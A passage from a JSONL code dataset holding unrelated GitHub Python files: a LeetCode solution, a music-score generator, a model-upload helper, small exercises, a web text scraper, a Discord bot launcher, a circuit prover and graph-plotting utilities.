canCompleteCircuit(self, gas, cost):\n n = len(gas)\n if sum(gas) < sum(cost): return -1\n start = 0\n now = 0\n pos = 0\n for i in range(n):\n now += gas[i] - cost[i]\n if now < 0:\n now = 0\n pos = i+1\n return pos\n","repo_name":"philokey/Algorithm-Problems","sub_path":"Leetcode/Gas Station.py","file_name":"Gas Station.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30576883876","text":"import pathlib\nimport numpy as np\n\nimport abjad\nimport baca\nimport evans\nfrom abjadext import rmakers\n\nimport nyctivoe\n\nmaker = evans.SegmentMaker(\n instruments=nyctivoe.instruments,\n names=[\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n ],\n abbreviations=[\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n '\" \"',\n ],\n name_staves=False,\n fermata_measures=nyctivoe.fermata_measures_02,\n commands=[\n evans.MusicCommand(\n (\"saxophone 1 voice\", (0, 4)),\n # evans.talea(\n # [2, 3, 6, 1, 3, 4, 2],\n # 16,\n # extra_counts=[0, 0, 1, 2, 3, 1, 0, 3, 2],\n # preamble=[-4],\n # preprocessor=evans.make_preprocessor(quarters=True),\n # rewrite=False,\n # ),\n nyctivoe.C_rhythm(\n rotation=0,\n extra_counts=[0, 0, 1, 2, 3, 1, 0, 3, 2],\n preamble=[-4],\n preprocessor=evans.make_preprocessor(quarters=True),\n stage=1,\n ),\n evans.loop([-12], [1, 1, 0, 2]),\n # abjad.glissando,\n nyctivoe.upward_gliss,\n nyctivoe.swells,\n evans.Attachment(\n abjad.Clef(\"treble\"),\n selector=lambda _: abjad.select.leaf(_, 0),\n ),\n # nyctivoe.C_color,\n ),\n evans.MusicCommand(\n (\"saxophone 1 voice\", (4, 13)),\n evans.talea(\n [8, 6, 4, 2, 4, 6],\n 8,\n extra_counts=[0, 1],\n preprocessor=evans.make_preprocessor(quarters=True),\n rewrite=False,\n ),\n nyctivoe.tenor_multiphonics,\n nyctivoe.tenor_fingerings,\n nyctivoe.tenor_dynamics,\n abjad.Clef(\"treble\"),\n # nyctivoe.A_color,\n ),\n evans.MusicCommand(\n (\"saxophone 2 voice\", (0, 4)),\n # evans.talea(\n # [6, 1, 3, 4, 2, 2, 3],\n # 16,\n # extra_counts=[0, 1, 2, 3, 1, 0, 3, 2, 0],\n # preamble=[-3],\n # preprocessor=evans.make_preprocessor(quarters=True),\n # rewrite=False,\n # ),\n nyctivoe.C_rhythm(\n rotation=-1,\n extra_counts=[0, 1, 2, 3, 1, 0, 3, 2, 0],\n preamble=[-3],\n preprocessor=evans.make_preprocessor(quarters=True),\n stage=1,\n ),\n evans.loop([-22], [1, 1, 0, 2]),\n # abjad.glissando,\n nyctivoe.upward_gliss,\n nyctivoe.swells,\n evans.Attachment(\n abjad.Clef(\"treble\"),\n selector=lambda _: abjad.select.leaf(_, 0),\n ),\n # nyctivoe.C_color,\n ),\n evans.MusicCommand(\n (\"saxophone 2 voice\", (4, 13)),\n evans.talea(\n [6, 4, 2, 4, 6, 8],\n 8,\n extra_counts=[1, 0],\n preprocessor=evans.make_preprocessor(quarters=True),\n rewrite=False,\n ),\n nyctivoe.baritone_multiphonics,\n nyctivoe.baritone_fingerings,\n nyctivoe.baritone_dynamics,\n abjad.Clef(\"treble\"),\n # nyctivoe.A_color,\n ),\n evans.MusicCommand(\n (\"percussion voice\", (0, 4)),\n evans.make_tied_notes(preprocessor=None, rewrite=False),\n abjad.LilyPondLiteral(r\"\\staff-line-count 1\", site=\"before\"),\n # evans.PitchHandler([12]),\n abjad.Clef(\"percussion\"),\n abjad.LilyPondLiteral(\n r'\\boxed-markup \"tam tam + superball\" 1', site=\"after\"\n ),\n # nyctivoe.C_color,\n ),\n evans.MusicCommand(\n (\"percussion voice\", (4, 13)),\n nyctivoe.E_rhythm(\n stage=2,\n numerator_rotation=0,\n extra_counts_rotation=0,\n insertions_rotation=0,\n preprocessor=evans.make_preprocessor(quarters=True),\n ),\n evans.PitchHandler(\n [_ for _ in evans.Sequence([-5, -1, 2, 5]).mirror(False).rotate(10).random_walk(\n length=100,\n step_list=[1, 3, 2, 2],\n random_seed=3,\n ).remove_repeats()]\n ),\n evans.hairpin(\n \"p <| f > mf >\",\n # counts=[7, 5, 3, 5],\n counts=[2, 5, 2, 6, 2, 7, 2, 6, 2, 5, 2, 5],\n cyclic=True,\n pitched=True,\n final_hairpin=False,\n remove_length_1_spanner_start=False,\n ),\n abjad.LilyPondLiteral(r\"\\staff-line-count 4\", site=\"before\"),\n abjad.LilyPondLiteral(\n r'\\boxed-markup \"gongs\" 1', site=\"after\"\n ),\n evans.ArticulationHandler(\n [\"tremolo\"],\n articulation_boolean_vector=[1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0]\n ),\n abjad.Clef(\"percussion\"),\n # nyctivoe.E_color,\n ),\n evans.MusicCommand(\n (\"viola voice\", (0, 4)),\n # evans.talea(\n # [3, 4, 2, 2, 3, 6, 1],\n # 16,\n # extra_counts=[1, 2, 3, 1, 0, 3, 2, 0, 0],\n # preamble=[-2],\n # preprocessor=evans.make_preprocessor(quarters=True),\n # rewrite=False,\n # ),\n nyctivoe.C_rhythm(\n rotation=-2,\n extra_counts=[1, 2, 3, 1, 0, 3, 2, 0, 0],\n preamble=[-2],\n preprocessor=evans.make_preprocessor(quarters=True),\n stage=1,\n ),\n evans.loop([-10], [1, 1, 0, 2]),\n # abjad.glissando,\n nyctivoe.upward_gliss,\n nyctivoe.swells,\n evans.Attachment(\n abjad.Clef(\"petrucci-c3\"),\n selector=lambda _: abjad.select.leaf(_, 0),\n ),\n # nyctivoe.C_color,\n ),\n evans.MusicCommand(\n (\"viola voice\", (4, 13)),\n nyctivoe.E_rhythm(\n stage=2,\n numerator_rotation=-1,\n extra_counts_rotation=0,\n insertions_rotation=-1,\n preprocessor=evans.make_preprocessor(quarters=True),\n ),\n evans.PitchHandler(\n [_ for _ in evans.Sequence([_ for _ in np.arange(-12, 12, 0.5)]).mirror(False).rotate(10).random_walk(\n length=100,\n step_list=[1, 3, 2, 2],\n random_seed=2,\n ).remove_repeats()]\n ),\n # nyctivoe.zero_padding_glissando,\n evans.hairpin(\n \"p <| f > mf >\",\n # counts=[7, 5, 3, 5],\n counts=[2, 5, 2, 5, 2, 6, 2, 7, 2, 6, 2, 5],\n cyclic=True,\n pitched=True,\n final_hairpin=False,\n remove_length_1_spanner_start=False,\n ),\n evans.text_span([r\"T\", r\"P\"], \"=>\", [5], padding=5.25, id=2),\n abjad.Clef(\"petrucci-c3\"),\n # nyctivoe.E_color,\n ),\n evans.MusicCommand(\n (\"cello voice\", (0, 4)),\n # evans.talea(\n # [4, 2, 2, 3, 6, 1, 3],\n # 16,\n # extra_counts=[3, 1, 0, 3, 2, 0, 0, 1, 2],\n # preamble=[-1],\n # preprocessor=evans.make_preprocessor(quarters=True),\n # rewrite=False,\n # ),\n nyctivoe.C_rhythm(\n rotation=-3,\n extra_counts=[3, 1, 0, 3, 2, 0, 0, 1, 2],\n preamble=[-1],\n preprocessor=evans.make_preprocessor(quarters=True),\n stage=1,\n ),\n evans.loop([-21], [1, 1, 0, 2]),\n # abjad.glissando,\n nyctivoe.upward_gliss,\n nyctivoe.swells,\n evans.Attachment(\n abjad.Clef(\"bass\"),\n selector=lambda _: abjad.select.leaf(_, 0),\n ),\n # nyctivoe.C_color,\n ),\n evans.MusicCommand(\n (\"cello voice\", (4, 13)),\n nyctivoe.E_rhythm(\n stage=2,\n numerator_rotation=-2,\n extra_counts_rotation=0,\n insertions_rotation=-2,\n preprocessor=evans.make_preprocessor(quarters=True),\n ),\n evans.PitchHandler(\n [_ for _ in evans.Sequence([_ for _ in np.arange(-12, 12, 0.5)]).mirror(False).rotate(10).random_walk(\n length=100,\n step_list=[1, 3, 2, 2],\n random_seed=1,\n ).remove_repeats()]\n ),\n # nyctivoe.zero_padding_glissando,\n evans.hairpin(\n \"p <| f > mf >\",\n # counts=[7, 5, 3, 5],\n counts=[2, 6, 2, 5, 2, 5, 2, 6, 2, 7, 2, 5],\n cyclic=True,\n pitched=True,\n final_hairpin=False,\n remove_length_1_spanner_start=False,\n ),\n evans.text_span([r\"T\", r\"P\"], \"=>\", [5], padding=5.25, id=2),\n # abjad.Clef(\"petrucci-c4\"),\n # nyctivoe.E_color,\n ),\n evans.call(\n \"score\",\n evans.SegmentMaker.beam_score_without_splitting,\n lambda _: abjad.select.components(_, abjad.Score),\n ),\n evans.attach(\n \"Global Context\",\n nyctivoe.lib.met_92,\n lambda _: abjad.select.leaf(_, 0),\n ),\n evans.attach(\n \"Global Context\",\n nyctivoe.lib.mark_40,\n lambda _: abjad.select.leaf(_, 4),\n ),\n evans.attach(\n \"Global Context\",\n nyctivoe.lib.met_40,\n lambda _: abjad.select.leaf(_, 4),\n ),\n # evans.attach(\n # \"Global Context\",\n # abjad.LilyPondLiteral(r'\\sectionLabel \\markup \\underline \"Segment 02\"', site=\"before\"),\n # evans.select_measures([0], leaf=0),\n # ),\n ],\n score_template=nyctivoe.score,\n transpose_from_sounding_pitch=True,\n time_signatures=nyctivoe.signatures_02,\n clef_handlers=[None, None, None, None, None, None, None, None, None],\n tuplet_bracket_noteheads=False,\n add_final_grand_pause=False,\n score_includes=[\n \"abjad.ily\",\n \"../../build/segment_stylesheet.ily\",\n ],\n segment_name=\"02\",\n current_directory=pathlib.Path(__file__).parent,\n cutaway=False,\n beam_pattern=\"meter\",\n beam_rests=True,\n barline=\"||\",\n rehearsal_mark=\"\",\n fermata=\"scripts.ufermata\",\n with_layout=True,\n mm_rests=False,\n extra_rewrite=False, # should default to false but defaults to true\n print_clock_time=True,\n color_out_of_range=False,\n)\n\nmaker.build_segment()\n","repo_name":"GregoryREvans/nyctivoe","sub_path":"nyctivoe/segments/02/definition.py","file_name":"definition.py","file_ext":"py","file_size_in_byte":11250,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"15967219427","text":"\"\"\"\nA module that helps upload tensorflow models to EasyTensor.\nThe only requirement for a model is that it is exported to disk.\nTensorflow models are packaged in a tar file and uploaded directly.\n\"\"\"\nimport tarfile\nimport tempfile\nimport logging\nfrom easytensor.upload import (\n create_query_token,\n create_model_object,\n upload_archive,\n)\nfrom easytensor.constants import Framework\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef create_model_archive(model_location):\n \"\"\"\n Creates a temporary archvie of the model and returns its location.\n \"\"\"\n _, tar_location = tempfile.mkstemp()\n with tarfile.open(tar_location, \"w:gz\") as tarout:\n tarout.add(model_location, arcname=\"\")\n return tar_location\n\n\ndef upload_model(model_name, model_location, create_token=True):\n \"\"\"\n Returns the model ID and a query access token.\n Creates a query access token for the model by default.\n \"\"\"\n archive_lcoation = create_model_archive(model_location)\n model_address, model_size = upload_archive(archive_lcoation)\n model_id = create_model_object(\n model_address, model_name, model_size, Framework.TENSORFLOW\n )\n if not create_token:\n return model_id, None\n return model_id, create_query_token(model_id)\n","repo_name":"EasyTensor/python-client","sub_path":"easytensor/tensorflow/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21641892785","text":"def fib(n):\n\n if n == 0:\n return 1\n elif n == 1:\n return 2\n else:\n return fib(n-1) + fib(n-2)\n\n\n\nfor n in range(0,5):\n numb_of_rab = fib(n)\n print(\"Month {0}: {1} pairs(s) of rabbit\".format(n,numb_of_rab))\n","repo_name":"hathu0610/nguyenhathu-fundamental-c4e13","sub_path":"Session05/HW/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2089261952","text":"# Definindo o faturamento de cada estado\nfaturamento = {\n 'SP': 67836.43,\n 'RJ': 36678.66,\n 'MG': 29229.88,\n 'ES': 27165.48,\n 'Outros': 19849.53\n}\n\n# Calculando o faturamento total\ntotal = sum(faturamento.values())\n\n# Calculando o percentual de representação de cada estado\npercentuais = {estado: (valor / total) * 100 for estado, valor in faturamento.items()}\n\n# Exibindo os resultados\nfor estado, percentual in percentuais.items():\n print(f'{estado}: {percentual:.2f}%')\n","repo_name":"brenohenrique99/Job-RotationSaoPaulo","sub_path":"projeto3.py","file_name":"projeto3.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"492039543","text":"'''\nTakes input csv file\n'''\nimport requests\nimport pandas as pd\nfrom lxml import html\nimport datetime\nimport os\nimport threading\n\n\ndef get_text(data):\n url = data['url']\n \n file_id = data['id']\n file_name = 'output/'+str(file_id)+'_' + datetime.datetime.now().strftime('%Y-%m-%d')\n if os.path.isfile(file_name + '_with_html.txt'):\n print(\"Already extracted!\")\n else:\n print(\"Running the url\",url)\n try:\n response = requests.get(url)\n except Exception as e:\n print(e)\n with open('error_urls.txt','a', newline='\\n') as errorfile:\n errorfile.write(str(file_id)+'\\t'+ url + '\\n')\n response = None\n if response:\n try:\n \n with open(file_name+'_with_html.txt','w', encoding='utf-8') as f:\n f.write(response.text)\n page = html.fromstring(response.text)\n pages = ' '.join(page.xpath('//text()'))\n with open(file_name+'_without_html.txt','w',encoding='utf-8') as p:\n p.write(pages)\n except Exception as e:\n with open('unicode_error_urls.txt','a', newline='\\n') as errorfile:\n errorfile.write(str(file_id)+'\\t'+ url + '\\t' )\n\n\ndef main(data):\n get_text(data)\nif __name__ == '__main__':\n #INPUT_FILE = 'airbnb_JA_-_media_review_2021_12_10.xlsx - data.csv'\n INPUT_FOLDER = 'INPUT'\n print(\"Reading input folder\")\n list_dir = os.listdir(INPUT_FOLDER)\n print(\"Total files found are\", len(list_dir))\n for file_ in list_dir:\n OUTPUT_FILE = 'output'\n df = pd.read_csv(INPUT_FOLDER +'/'+ file_)\n ids = df['ID'].to_list()\n urls = df['Link'].to_list()\n if len(ids) == len(urls):\n data_list = [{'id':ids[i], 'url':urls[i]} for i in range(len(urls))]\n else:\n breakpoint()\n for data in data_list:\n main(data)\n \n","repo_name":"bishalnepali/get_body_scraper","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33696068088","text":"import asyncio\nimport logging.config\nimport settings\nfrom commons import messages, errors, utils\nfrom discord import DiscordException\nfrom discord.ext.commands import Bot, Context\n\nlog = logging.getLogger(settings.LOGGER_IRONBOT)\n\n\ndef main():\n\n logging.config.dictConfig(settings.LOGGING)\n log.info('Starting application')\n messages.initialize()\n log.debug('Retrieved i18n dictionaries')\n log.debug(messages.msg_map)\n log.info('i18n tables loaded. Available languages are [{}]'.format(', '.join(messages.msg_map.keys())))\n\n ironbot = Bot(**settings.BOT)\n\n for ext in ('cogs.basic', 'cogs.maple'):\n try:\n ironbot.load_extension(ext)\n except:\n log.exception('Failed to load extension')\n\n @ironbot.event\n @asyncio.coroutine\n def on_ready():\n\n log.info('Logged in as {} id={}'.format(ironbot.user.name, ironbot.user.id))\n\n @ironbot.event\n @asyncio.coroutine\n def on_error(event):\n log.error('An error occurred for event \"{}\"'.format(event))\n\n @ironbot.event\n @asyncio.coroutine\n def on_command_error(error: DiscordException, ctx: Context):\n k = (type(error), type(ctx.message.channel), ctx.command.name)\n if k in errors.handled:\n log.debug('Handled command error: {}'.format(error))\n yield from ctx.bot.send_message(ctx.message.channel, errors.get(*k))\n else:\n log.warn('Unhandled command error: {}'.format(error))\n\n ironbot.loop.create_task(utils.scheduler_tick(ironbot))\n ironbot.run(settings.DISCORD_TOKEN)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Zerrossetto/ironbot","sub_path":"ironbot.py","file_name":"ironbot.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22734788683","text":"#!/usr/bin/python\n#\n# (C) 2017 Riad S. Wahby \n#\n# circuit provers (aka provers)\n\nfrom libfennel.arithcircuitbuilder import ArithCircuitIncrementalBuilder\nfrom libfennel.defs import Defs\nfrom libfennel.layerprover import LayerProver\nimport libfennel.parse_pws\nimport libfennel.util as util\n\n# this is just for use with libprv_layer_test\nclass _DummyCircuitProver(object):\n comp_h = None\n comp_b = None\n comp_v = None\n comp_chi = None\n comp_v_fin = None\n comp_out = None\n\n def __init__(self, nCopies):\n self.nCopies = nCopies\n self.nCopyBits = util.clog2(nCopies)\n self.muxbits = [0]\n\nclass CircuitProver(object):\n __metaclass__ = libfennel.parse_pws.FromPWS\n\n def __init__(self, nCopies, nInputs, in0vv, in1vv, typevv, muxvv=None):\n self.nCopies = nCopies\n self.nCopyBits = util.clog2(nCopies)\n self.nInputs = nInputs\n self.nInBits = util.clog2(nInputs)\n self.ckt_inputs = None\n self.ckt_outputs = None\n self.layerNum = 0\n self.roundNum = 0\n self.arith_ckt = None\n\n assert len(in0vv) == len(in1vv)\n assert len(in0vv) == len(typevv)\n assert muxvv is None or len(in0vv) == len(muxvv)\n if muxvv is None:\n muxvv = [None] * len(in0vv)\n\n # save circuit config for building layers later\n self.in0vv = in0vv\n self.in1vv = in1vv\n self.typevv = typevv\n self.muxvv = muxvv\n self.muxlen = max( max(muxv) if muxv is not None else 0 for muxv in muxvv ) + 1\n self.muxbits = [0] * self.muxlen\n\n # build instrumentation\n if Defs.track_fArith:\n fArith = Defs.fArith()\n self.comp_h = fArith.new_cat(\"p_comp_h_%d\" % hash(self))\n self.comp_b = fArith.new_cat(\"p_comp_b_%d\" % hash(self))\n self.comp_chi = fArith.new_cat(\"p_comp_chi_%d\" % hash(self))\n self.comp_v = fArith.new_cat(\"p_comp_v_%d\" % hash(self))\n self.comp_v_fin = fArith.new_cat(\"p_comp_v_fin_%d\" % hash(self))\n self.comp_out = fArith.new_cat(\"p_comp_out_%d\" % hash(self))\n else:\n self.comp_h = None\n self.comp_b = None\n self.comp_chi = None\n self.comp_v = None\n self.comp_v_fin = None\n self.comp_out = None\n\n # layer provers\n self.layer = None\n self.layer_inbits = [self.nInBits] + [ util.clog2(len(in0v)) for in0v in in0vv[:-1] ]\n\n def build_layer(self):\n layIndex = len(self.layer_inbits) - 1 - self.layerNum\n self.layer = LayerProver(self.layer_inbits[layIndex], self, self.in0vv[layIndex], self.in1vv[layIndex], self.typevv[layIndex], self.muxvv[layIndex])\n if self.layerNum > 0:\n self.layer.set_inputs(self.arith_ckt.get_next())\n\n def set_muxbits(self, muxbits):\n assert len(muxbits) == self.muxlen\n self.muxbits = muxbits\n\n def set_inputs(self, inputs):\n assert len(inputs) == self.nCopies\n assert self.layerNum == 0\n\n self.ckt_inputs = inputs\n self.ckt_outputs = []\n\n # build arith circuit\n self.arith_ckt = ArithCircuitIncrementalBuilder(self.nCopies, self.nInputs, self.in0vv, self.in1vv, self.typevv, self.muxvv)\n self.arith_ckt.set_muxbits(self.muxbits)\n if Defs.track_fArith:\n self.arith_ckt.set_rec(Defs.fArith().new_cat(\"p_comp_arith_%d\" % hash(self)))\n\n # record inputs to each layer prover and set inputs for each layer prover\n self.ckt_outputs = self.arith_ckt.run(inputs)\n self.build_layer()\n self.layer.set_inputs(self.arith_ckt.get_next())\n\n def set_z(self, z1, z2, z3, muls, project_line):\n self.layer.set_z(z1, z2, z3, muls, project_line)\n\n def next_layer(self, val, project_line):\n if isinstance(val, (tuple, list)):\n assert not self.layer.compute_h.project_line\n z1 = self.layer.compute_h.w1\n z2 = self.layer.compute_h.w3\n z1_2 = self.layer.compute_h.w2\n muls = val\n else:\n assert self.layer.compute_h.project_line\n self.layer.compute_h.next_layer(val)\n z1 = self.layer.compute_h.z1\n z2 = self.layer.compute_h.w3\n z1_2 = None\n muls = None\n self.layerNum += 1\n self.roundNum = 0\n self.build_layer()\n self.set_z(z1, z2, z1_2, muls, project_line)\n\n def next_round(self, val):\n self.layer.next_round(val)\n\n def get_outputs(self):\n self.layer.compute_outputs()\n return self.layer.output\n","repo_name":"hyraxZK/fennel","sub_path":"libfennel/circuitprover.py","file_name":"circuitprover.py","file_ext":"py","file_size_in_byte":4605,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"33544489122","text":"\"\"\"Plotting functions for network analysis.\"\"\"\n\nfrom itertools import chain # for aggregate functions\nfrom typing import Dict, Tuple, Union\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom matplotlib.axes import Axes\nfrom matplotlib.colors import ListedColormap\nfrom matplotlib.transforms import Bbox\nfrom tqdm.notebook import tqdm\nfrom wordcloud import WordCloud\n\nfrom ..config import _ALPHA\nfrom ..config import _GGPLOT_COLORS as colors\nfrom ..config import _NODE_SIZE, _STOPWORDS\nfrom ..utils import get_elipsis_mask, scale, scale_int\nfrom ._auxiliary_data import load_gene_func_db\n\n\ndef plot_avail_cell_types(meta: pd.DataFrame, save_as: str = None):\n \"\"\"\n Plot the cell type count distribution across patients as a heatmap.\n\n :param meta: The metadata data as a Pandas dataframe\n :param save_as: The file path to saved file, None if do not save the plot\n \"\"\"\n\n df = meta.T.iloc[3:, :]\n N_c, N_p = df.shape\n\n for col in df.columns:\n df[col] = df[col].astype(\"float\")\n df = (\n df.assign(sum_col=df.sum(1))\n .sort_values(\"sum_col\", ascending=False)\n .drop(columns=[\"sum_col\"])\n )\n\n with sns.axes_style(\"white\"):\n g = sns.JointGrid(ratio=15)\n g.ax_marg_y.cla()\n g.ax_marg_x.cla()\n sns.heatmap(\n data=df,\n ax=g.ax_joint,\n cbar=False,\n vmin=0,\n annot=True,\n fmt=\".0f\",\n cmap=\"crest\",\n mask=df.isnull(),\n )\n\n bars_y = g.ax_marg_y.barh(\n np.arange(0.5, N_c), df.sum(axis=1), color=\"lightgray\"\n )\n bars_x = g.ax_marg_x.bar(np.arange(0.5, N_p), df.sum(axis=0), color=\"lightgray\")\n\n for bar in bars_x:\n g.ax_marg_x.annotate(\n int(bar.get_height()),\n (bar.get_x() + bar.get_width() / 2, 0),\n ha=\"center\",\n va=\"center\",\n size=12,\n xytext=(0, 8),\n textcoords=\"offset points\",\n )\n\n for bar in bars_y:\n g.ax_marg_y.annotate(\n int(bar.get_width()),\n (0, bar.get_y() + bar.get_height() / 2),\n ha=\"left\",\n va=\"center\",\n size=12,\n xytext=(4, 0),\n textcoords=\"offset points\",\n )\n\n g.ax_joint.set_xticks(np.arange(0.5, N_p))\n g.ax_joint.set_xticklabels(df.columns, rotation=0)\n g.ax_joint.set_yticks(np.arange(0.5, N_c))\n g.ax_joint.set_yticklabels(\n df.index.map(lambda x: x.replace(\"_\", \" \")), rotation=0\n )\n\n # remove ticks between heatmap and histograms\n g.ax_marg_x.tick_params(axis=\"x\", bottom=False, labelbottom=False)\n g.ax_marg_y.tick_params(axis=\"y\", left=False, labelleft=False)\n # remove ticks showing the heights of the histograms\n g.ax_marg_x.tick_params(axis=\"y\", left=False, labelleft=False)\n g.ax_marg_y.tick_params(axis=\"x\", bottom=False, labelbottom=False)\n\n g.fig.set_size_inches(\n 16, 8\n ) # jointplot creates its own figure, the size can only be changed afterwards\n # g.fig.subplots_adjust(hspace=0.3) # optionally more space for the tick labels\n g.fig.subplots_adjust(\n hspace=0.1, wspace=0.05\n ) # less spaced needed when there are no tick labels\n\n for tick_label in g.ax_joint.get_xticklabels():\n if meta[\"group\"][tick_label.get_text()] == \"S\":\n tick_label.set_color(colors[\"red\"])\n elif meta[\"group\"][tick_label.get_text()] == \"M\":\n tick_label.set_color(colors[\"yellow\"])\n else:\n tick_label.set_color(colors[\"green\"])\n\n g.ax_joint.set_xlabel(\"\")\n\n if save_as is not None:\n plt.savefig(save_as, bbox_inches=\"tight\")\n\n\ndef fancy_draw_network_edge_labels(\n G: nx.DiGraph,\n pos: dict,\n edge_labels: dict = None,\n label_pos: float = 0.5,\n font_size: int = 10,\n font_color: str = \"k\",\n font_family: str = \"sans-serif\",\n font_weight: str = \"normal\",\n alpha: float = None,\n bbox: Bbox = None,\n horizontalalignment: str = \"center\",\n verticalalignment: str = \"center\",\n ax: Axes = None,\n rotate: bool = True,\n clip_on: bool = True,\n rad: float = 0,\n) -> dict:\n \"\"\"\n Draw edge labels with additional feature to make them curved.\n\n :param G: A NetworkX graph\n :param pos: A dictionary with nodes as keys and positions as values\n :param edge_labels: Edge labels in a dictionary of labels keyed by edge two-tuple\n :param label_pos: Position of edge label along edge (0=head, 0.5=center, 1=tail)\n :param font_size: Font size for text labels\n :param font_color: Font color string\n :param font_weight: Font weight\n :param font_family: Font family\n :param alpha: The text transparency\n :param bbox: Specify text box properties (e.g. shape, color etc.) for edge labels\n :param horizontalalignment: Horizontal alignment {'center', 'right', 'left'}\n :param verticalalignment: Vertical alignment {'center', 'top', 'bottom', 'baseline', \n 'center_baseline'}\n :param ax: Draw the graph in the specified Matplotlib axes\n :param rotate: Rotate edge labels to lie parallel to edges\n :param clip_on: Turn on clipping of edge labels at axis boundaries\n\n :return Dictionary of labels keyed by edge\n \"\"\"\n\n if ax is None:\n ax = plt.gca()\n if edge_labels is None:\n labels = {(u, v): d for u, v, d in G.edges(data=True)}\n else:\n labels = edge_labels\n text_items = {}\n for (n1, n2), label in labels.items():\n (x1, y1) = pos[n1]\n (x2, y2) = pos[n2]\n (x, y) = (\n x1 * label_pos + x2 * (1.0 - label_pos),\n y1 * label_pos + y2 * (1.0 - label_pos),\n )\n pos_1 = ax.transData.transform(np.array(pos[n1]))\n pos_2 = ax.transData.transform(np.array(pos[n2]))\n linear_mid = 0.5 * pos_1 + 0.5 * pos_2\n d_pos = pos_2 - pos_1\n rotation_matrix = np.array([(0, 1), (-1, 0)])\n ctrl_1 = linear_mid + rad * rotation_matrix @ d_pos\n ctrl_mid_1 = 0.5 * pos_1 + 0.5 * ctrl_1\n ctrl_mid_2 = 0.5 * pos_2 + 0.5 * ctrl_1\n bezier_mid = 0.5 * ctrl_mid_1 + 0.5 * ctrl_mid_2\n (x, y) = ax.transData.inverted().transform(bezier_mid)\n\n if rotate:\n # in degrees\n angle = np.arctan2(y2 - y1, x2 - x1) / (2.0 * np.pi) * 360\n # make label orientation \"right-side-up\"\n if angle > 90:\n angle -= 180\n if angle < -90:\n angle += 180\n # transform data coordinate angle to screen coordinate angle\n xy = np.array((x, y))\n trans_angle = ax.transData.transform_angles(\n np.array((angle,)), xy.reshape((1, 2))\n )[0]\n else:\n trans_angle = 0.0\n # use default box of white with white border\n if bbox is None:\n bbox = dict(boxstyle=\"round\", ec=(1.0, 1.0, 1.0), fc=(1.0, 1.0, 1.0))\n if not isinstance(label, str):\n label = str(label) # this makes \"1\" and 1 labeled the same\n\n t = ax.text(\n x,\n y,\n label,\n size=font_size,\n color=font_color,\n family=font_family,\n weight=font_weight,\n alpha=alpha,\n horizontalalignment=horizontalalignment,\n verticalalignment=verticalalignment,\n rotation=trans_angle,\n transform=ax.transData,\n bbox=bbox,\n zorder=1,\n clip_on=clip_on,\n )\n text_items[(n1, n2)] = t\n\n ax.tick_params(\n axis=\"both\",\n which=\"both\",\n bottom=False,\n left=False,\n labelbottom=False,\n labelleft=False,\n )\n\n return text_items\n\n\ndef draw_graph(\n G: nx.DiGraph,\n pos: dict,\n ax: Axes,\n TF_names: list = None,\n label_edges: bool = True,\n node_size: float = _NODE_SIZE,\n alpha: float = _ALPHA,\n if_alpha_edges: bool = False,\n plot_cmap: bool = True,\n cmap: ListedColormap = plt.cm.plasma,\n label_font_size: float = 12,\n) -> Axes:\n \"\"\"\n Draw gene regulatory network using NetworkX.\n\n :param G: A NetworkX graph\n :param pos: A dictionary with nodes as keys and positions as values\n :param ax: Draw the graph in the specified Matplotlib axes\n :param TF_names: A list of transcription factors to highlight on the plot\n :param label_edges: True if label edges with importance feature, False otherwise\n :param node_size: The size of the gene nodes\n :param alpha: The level of transparency (between 0 and 1)\n :param if_alpha_edges: True if make edges transparent, False otherwise\n :param plot_cmap: True if plot colormap indicating Spearman correlation\n :param cmap: The colormap to use\n :param label_font_size: The text font size\n\n :return The matplotlib axes with drawn graph\n \"\"\"\n\n # Define colors\n blue = np.expand_dims(np.array([221, 232, 250]) / 256, axis=0)\n dark_blue = np.expand_dims(np.array([115, 141, 187]) / 256, axis=0)\n yellow = np.expand_dims(np.array([253, 242, 208]) / 256, axis=0)\n dark_yellow = np.expand_dims(np.array([209, 183, 101]) / 256, axis=0)\n\n # Drawing nodes\n nx.draw_networkx_nodes(\n G, pos, node_color=yellow, edgecolors=dark_yellow, ax=ax, node_size=node_size\n )\n if TF_names is not None:\n nx.draw_networkx_nodes(\n G.subgraph(TF_names),\n pos=pos,\n node_color=blue,\n edgecolors=dark_blue,\n ax=ax,\n node_size=node_size,\n )\n\n # Drawing node labels\n nx.draw_networkx_labels(G, pos, ax=ax, font_size=label_font_size)\n\n # Drawing edges\n if G.edges():\n edges, importances = zip(*nx.get_edge_attributes(G, \"importance\").items())\n edges, rhos = zip(*nx.get_edge_attributes(G, \"rho\").items())\n widths = scale(importances, 1, 10)\n\n curved_mask = [reversed(edge) in G.edges() for edge in G.edges()]\n\n edge_meta = {\n \"curved_edge\": [e for m, e in zip(curved_mask, edges) if m],\n 